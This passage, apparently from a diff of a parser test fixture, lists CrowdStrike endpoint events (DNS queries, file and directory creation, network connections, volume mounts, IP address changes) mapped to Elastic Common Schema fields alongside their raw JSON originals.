"ip": "0.0.0.0", - "port": 0 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:36.111Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextProcessId": "364977197365370629", - "ContextTimeStamp": "2021-07-07T17:04:35.806Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9644-060415b1fd87", - "name": "DnsRequestMacV1" - }, - "device": { - "id": "ffffffff7ecf4e61bba14ca5ac5d17b1" - }, - "dns": { - "question": { - "name": "jss.dom1.com", - "registered_domain": "dom1.com", - "subdomain": "jss", - "top_level_domain": "com", - "type": "AAAA" - }, - "type": "query" - }, - "event": { - "action": "DnsRequest", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:36.111Z", - "id": "ffffffff-1111-11eb-9644-060415b1fd87|ffffffff7ecf4e61bba14ca5ac5d17b1|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1625677475.806\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364977197365370629\",\"DomainName\":\"jss.dom1.com\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"DnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-9644-060415b1fd87\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff7ecf4e61bba14ca5ac5d17b1\",\"timestamp\":\"1625677476111\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"28\"}", - "outcome": "success", - "type": [ - "protocol" - ] - }, - "host": { - "id": "ffffffff7ecf4e61bba14ca5ac5d17b1", - "os": { - "type": "macos" - } - }, - "message": "DnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff7ecf4e61bba14ca5ac5d17b1", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364977197365370629", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:40.055Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextProcessId": "365053504406857894", - "ContextTimeStamp": "2021-07-07T17:05:04.770Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "SHA256HashData": "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", - "name": "NewScriptWrittenMacV2" - }, - "device": { - "id": "ffffffffbea440b9aad8b5bf222d303f" - }, - "event": { - "action": "NewScriptWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:40.055Z", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677504.770\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"365053504406857894\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9\",\"FileIdentifier\":\"05000001000000000000000000000000b588050000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677540055\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/BitBar/countdown_timer.1s.py\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Applications/BitBar", - "extension": "py", - "inode": "05000001000000000000000000000000b588050000000000", - "name": "countdown_timer.1s.py", - "path": "/Applications/BitBar/countdown_timer.1s.py", - "size": 0, - "type": "file" - }, - "host": { - "id": "ffffffffbea440b9aad8b5bf222d303f", - "os": { - "type": "macos" - } - }, - "message": "NewScriptWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffbea440b9aad8b5bf222d303f", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365053504406857894", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:26.386Z", - "crowdstrike": { - "ConfigStateHash": "1156120155", - "InterfaceIndex": 186, - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b3c1-02ff598b7945", - "name": "LocalIpAddressRemovedIP6LinV1" - }, - "device": { - "id": "ffffffffbfbf4ff5aa56a26ad3c1a942" - }, - "event": { - "action": "LocalIpAddressRemovedIP6", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:05:26.386Z", - "id": "ffffffff-1111-11eb-b3c1-02ff598b7945|ffffffffbfbf4ff5aa56a26ad3c1a942|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"InterfaceIndex\":\"186\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"event_platform\":\"Lin\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"name\":\"LocalIpAddressRemovedIP6LinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-b3c1-02ff598b7945\",\"aid\":\"ffffffffbfbf4ff5aa56a26ad3c1a942\",\"timestamp\":\"1625677526386\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffffbfbf4ff5aa56a26ad3c1a942", - "os": { - "type": "linux" - } - }, - "message": "LocalIpAddressRemovedIP6", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffbfbf4ff5aa56a26ad3c1a942", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:00.089Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365053555029062046", - "ContextTimeStamp": "2021-07-07T17:04:59.994Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "Flags": "0", - "UnixMode": "0", - "VnodeType": "2", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-92d2-0286f570f8e1", - "name": "DirectoryCreateMacV1" - }, - "device": { - "id": "ffffffff24db47799d1a85aae61dc7bc" - }, - "event": { - "action": "DirectoryCreate", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:00.089Z", - "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffff24db47799d1a85aae61dc7bc|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1625677499.994\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053555029062046\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"0\",\"Entitlements\":\"15\",\"name\":\"DirectoryCreateMacV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"VnodeType\":\"2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff24db47799d1a85aae61dc7bc\",\"TargetDirectoryName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\",\"timestamp\":\"1625677500089\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS", - "name": "2F71C2D4-D215-453E-BF4C-D6C037502871", - "path": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871", - "type": "dir" - }, - "host": { - "id": "ffffffff24db47799d1a85aae61dc7bc", - "os": { - "type": "macos" - } - }, - "message": "DirectoryCreate", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff24db47799d1a85aae61dc7bc", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365053555029062046", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2021-07-07T17:05:17.986Z", - "crowdstrike": { - "ConfigStateHash": "1479784503", - "ConnectionFlags": "0", - "ContextProcessId": "84424232977619", - "ContextTimeStamp": "2021-07-07T17:05:17.658Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9015-02e89cda7d5f", - "name": "NetworkCloseIP4LinV6" - }, - "destination": { - "address": "67.43.156.13", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.13", - "port": 443 - }, - "device": { - "id": "ffffffff58de4e748d9f64c85a9b49e6" - }, - "event": { - "action": "NetworkCloseIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:17.986Z", - "id": "ffffffff-1111-11eb-9015-02e89cda7d5f|ffffffff58de4e748d9f64c85a9b49e6|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkCloseIP4\",\"ContextTimeStamp\":\"1625677517.658\",\"ConfigStateHash\":\"1479784503\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"84424232977619\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"40394\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP4LinV6\",\"id\":\"ffffffff-1111-11eb-9015-02e89cda7d5f\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff58de4e748d9f64c85a9b49e6\",\"RemoteAddressIP4\":\"67.43.156.13\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677517986\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "end", - "connection" - ] - }, - "host": { - "id": "ffffffff58de4e748d9f64c85a9b49e6", - "os": { - "type": "linux" - } - }, - "message": "NetworkCloseIP4", - "network": { - "community_id": "1:UVftVVD3gVlBx8wJQBdaiJYrD6A=", - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff58de4e748d9f64c85a9b49e6", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "84424232977619" - }, - "related": { - "hash": [ - "1479784503" - ], - "ip": [ - "67.43.156.14", - "67.43.156.13" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 40394 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:56.804Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365053546767850587", - "ContextTimeStamp": "2021-07-07T17:04:56.750Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "VolumeAppearanceTime": "1625677422.647", - "VolumeBusName": "IONVMeController", - "VolumeBusPath": "IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController", - "VolumeDeviceInternal": "1", - "VolumeDeviceModel": "APPLE SSD SM0256L", - "VolumeDevicePath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1", - "VolumeDeviceProtocol": "PCI-Express", - "VolumeDeviceRevision": "CXS4LA0Q", - "VolumeFileSystemDriver": "apfs", - "VolumeIsNetwork": "0", - "VolumeMediaBSDMajor": "1", - "VolumeMediaBSDMinor": "8", - "VolumeMediaBSDName": "disk1s3", - "VolumeMediaBSDUnit": "1", - "VolumeMediaContent": "41504653-0000-11AA-AA11-00306543ECAC", - "VolumeMediaEjectable": "0", - "VolumeMediaName": "AppleAPFSMedia", - "VolumeMediaPath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3", - "VolumeMediaRemovable": "0", - "VolumeMediaSize": "250685575168", - "VolumeMediaUUID": "AD0F4085-F901-4204-8C5D-441F365D4909", - "VolumeMediaWhole": "0", - "VolumeMediaWritable": "1", - "VolumeMountPoint": "/Volumes/Recovery", - "VolumeName": "Recovery", - "VolumeSectorSize": "4096", - "VolumeType": "APFS", - "VolumeUUID": "85400FAD-01F9-0442-8C5D-441F365D4909", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-956a-02748d01bd3d", - "name": "FsVolumeMountedMacV1" - }, - "device": { - "id": "ffffffff8eca418b7a861be9c5f7de1d" - }, - "event": { - "action": "FsVolumeMounted", - "category": [ - "host" - ], - "created": "2021-07-07T17:04:56.804Z", - "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"VolumeMediaName\":\"AppleAPFSMedia\",\"VolumeDeviceProtocol\":\"PCI-Express\",\"VolumeDeviceVendor\":\"\",\"ContextThreadId\":\"0\",\"VolumeMediaContent\":\"41504653-0000-11AA-AA11-00306543ECAC\",\"VolumeMediaEjectable\":\"0\",\"aip\":\"67.43.156.14\",\"VolumeAppearanceTime\":\"1625677422.647\",\"VolumeDeviceModel\":\"APPLE SSD SM0256L\",\"VolumeMediaBSDName\":\"disk1s3\",\"VolumeMountPoint\":\"/Volumes/Recovery\",\"event_platform\":\"Mac\",\"VolumeType\":\"APFS\",\"VolumeMediaRemovable\":\"0\",\"VolumeMediaBSDUnit\":\"1\",\"VolumeFileSystemDriver\":\"apfs\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"VolumeMediaSize\":\"250685575168\",\"EffectiveTransmissionClass\":\"2\",\"VolumeBusName\":\"IONVMeController\",\"timestamp\":\"1625677496804\",\"VolumeMediaBSDMinor\":\"8\",\"VolumeMediaWritable\":\"1\",\"event_simpleName\":\"FsVolumeMounted\",\"VolumeDevicePath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1\",\"VolumeName\":\"Recovery\",\"ContextTimeStamp\":\"1625677496.750\",\"VolumeSectorSize\":\"4096\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053546767850587\",\"VolumeBusPath\":\"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController\",\"VolumeDeviceInternal\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"VolumeUUID\":\"85400FAD-01F9-0442-8C5D-441F365D4909\",\"VolumeDeviceRevision\":\"CXS4LA0Q\",\"Entitlements\":\"15\",\"name\":\"FsVolumeMountedMacV1\",\"VolumeMediaBSDMajor\":\"1\",\"VolumeMediaPath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"VolumeMediaUUID\":\"AD0F4085-F901-4204-8C5D-441F365D4909\",\"VolumeMediaWhole\":\"0\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff8eca418b7a861be9c5f7de1d", - "os": { - "type": "macos" - } - }, - "message": "FsVolumeMounted", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff8eca418b7a861be9c5f7de1d", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365053546767850587", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:14.374Z", - "crowdstrike": { - "ConfigStateHash": "1156120155", - "InterfaceAlias": "eth0", - "InterfaceIndex": 2, - "InterfaceType": "1", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "PhysicalAddressLength": 6, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9c94-0222a21bbb27", - "name": "LocalIpAddressIP4LinV1" - }, - "device": { - "id": "ffffffff190e436aaebc3892bcda5beb" - }, - "event": { - "action": "LocalIpAddressIP4", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:05:14.374Z", - "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff190e436aaebc3892bcda5beb|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677513.841\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"0e-d6-ff-ff-ff-63\",\"InterfaceAlias\":\"eth0\",\"InterfaceIndex\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP4LinV1\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffff190e436aaebc3892bcda5beb\",\"timestamp\":\"1625677514374\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff190e436aaebc3892bcda5beb", - "os": { - "type": "linux" - } - }, - "message": "LocalIpAddressIP4", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff190e436aaebc3892bcda5beb", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "mac": "0E-D6-FF-FF-FF-63" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:40.056Z", - "crowdstrike": { - "ConfigStateHash": "3967242894", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "InterfaceIndex": 8, - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "NetLuidIndex": 0, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "LocalIpAddressRemovedIP6MacV1" - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "LocalIpAddressRemovedIP6", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:04:40.056Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP6MacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressRemovedIP6", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:21.723Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "InDiscards": "0", - "InErrors": "0", - "InMulticastPkts": "0", - "InOctets": "0", - "InUcastPkts": "0", - "InUnknownProtos": "0", - "InterfaceAlias": "llw0", - "InterfaceIndex": 8, - "InterfaceType": "6", - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "NetLuidIndex": 0, - "OutErrors": "0", - "OutMulticastPkts": "0", - "OutOctets": "0", - "OutUcastPkts": "0", - "PhysicalAddressLength": 6, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7", - "name": "LocalIpAddressIP6MacV1" - }, - "device": { - "id": "ffffffff0ad7494e8e817b3903f4eebb" - }, - "event": { - "action": "LocalIpAddressIP6", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:05:21.723Z", - "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff0ad7494e8e817b3903f4eebb|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.14\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"llw0\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521723\",\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"PhysicalAddress\":\"c2-27-b0-27-83-0f\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP6MacV1\",\"aid\":\"ffffffff0ad7494e8e817b3903f4eebb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffff0ad7494e8e817b3903f4eebb", - "os": { - "type": "macos" - } - }, - "message": "LocalIpAddressIP6", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff0ad7494e8e817b3903f4eebb", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "mac": "C2-27-B0-27-83-0F" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:07.086Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ConnectionFlags": "0", - "ContextProcessId": "364432308748445743", - "ContextTimeStamp": "2021-07-07T17:05:07.037Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8b36-06a8af5164a9", - "name": "NetworkListenIP4MacV10" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffff23d24c4193ffa6f270775ee5" - }, - "event": { - "action": "NetworkListenIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:07.086Z", - "id": "ffffffff-1111-11eb-8b36-06a8af5164a9|ffffffff23d24c4193ffa6f270775ee5|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": 